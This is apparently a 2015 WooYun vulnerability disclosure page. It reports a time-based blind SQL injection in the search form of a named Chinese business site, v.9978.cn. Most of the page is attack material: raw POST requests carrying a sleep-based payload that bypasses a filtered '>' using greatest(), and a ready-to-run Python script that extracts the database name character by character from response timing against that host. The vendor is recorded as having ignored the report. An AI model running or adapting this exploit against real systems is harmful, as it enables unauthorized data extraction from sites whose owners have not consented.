当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149613

漏洞标题:9978商机网某站存在SQL注入漏洞(附验证脚本)

相关厂商:9978商机网

漏洞作者: 中央军

提交时间:2015-10-27 10:52

修复时间:2015-11-01 10:54

公开时间:2015-11-01 10:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-11-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /search.html HTTP/1.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://v.9978.cn
Cookie: PHPSESSID=c9ocjsjt6ueuhi83kbq4uh7eb5; _J_UV=501480323; _J_SOURCE=http%3A%2F%2Fwww.acunetix-referrer.com%2Fjavascript%3AdomxssExecutionSink(0%2C%22'%5C%22%3E%3Cxsstag%3E()refdxss%22); _J_UG=1445786767719; _J_LEVEL=1; _J_PAGEON=1; _J_CLIENTID=0; _J_SITE=0; _J_B=1024x768%7CWindows%20NT%206.1%7C32%7C0%7C%2017.0%7CChrome%7C1445786767719; rvs_stat_uid=3b4eLYpAYK4fdT5xJzrmh5%2B%2B%2FtzNIK8wvlvrH2PYM4ksRet0Ur5D; rvs_{stat_visitorid}=16811749
Host: v.9978.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
kw='XOR(if(now()=sysdate(),sleep(if(greatest(length(database()),1)=9,4,0)),0))OR'

过滤了大于符号,这里用一下greatest()函数,搜索关键字可能被执行了2次,所以是双倍延迟~
为真时,睡眠8秒多,db的长度为9:

11.png

为假时,不睡眠:

22.png


#db的第一位为n(ascii:110)

POST /search.html HTTP/1.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://v.9978.cn
Cookie: PHPSESSID=c9ocjsjt6ueuhi83kbq4uh7eb5; _J_UV=501480323; _J_SOURCE=http%3A%2F%2Fwww.acunetix-referrer.com%2Fjavascript%3AdomxssExecutionSink(0%2C%22'%5C%22%3E%3Cxsstag%3E()refdxss%22); _J_UG=1445786767719; _J_LEVEL=1; _J_PAGEON=1; _J_CLIENTID=0; _J_SITE=0; _J_B=1024x768%7CWindows%20NT%206.1%7C32%7C0%7C%2017.0%7CChrome%7C1445786767719; rvs_stat_uid=3b4eLYpAYK4fdT5xJzrmh5%2B%2B%2FtzNIK8wvlvrH2PYM4ksRet0Ur5D; rvs_{stat_visitorid}=16811749
Host: v.9978.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
kw='XOR(if(now()=sysdate(),sleep(if(greatest(ascii(mid(database(),1,1)),1)=110,4,0)),0))OR'

44.png

66.png

附脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL DB:'
db= ''
for i in range(1, 10):
for payload in payloads:
#time.sleep(5) #5秒来一发
s = "kw='XOR(if(now()=sysdate(),sleep(if(greatest(ascii(mid(database(),%s,1)),1)=%s,4,0)),0))OR'" % (i, ord(payload))
conn = httplib.HTTPConnection('v.9978.cn', timeout=50)
conn.request(method='POST',
url='/search.html',
body=s,
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
#print time.time() - start_time
if time.time() - start_time > 8.0:
db += payload
print '\n\n[in progress]', db,
break
print '\n\n[Done] MySQL DB is %s' % db

漏洞证明:

修复方案:

版权声明:转载请注明来源 中央军@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-01 10:54

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论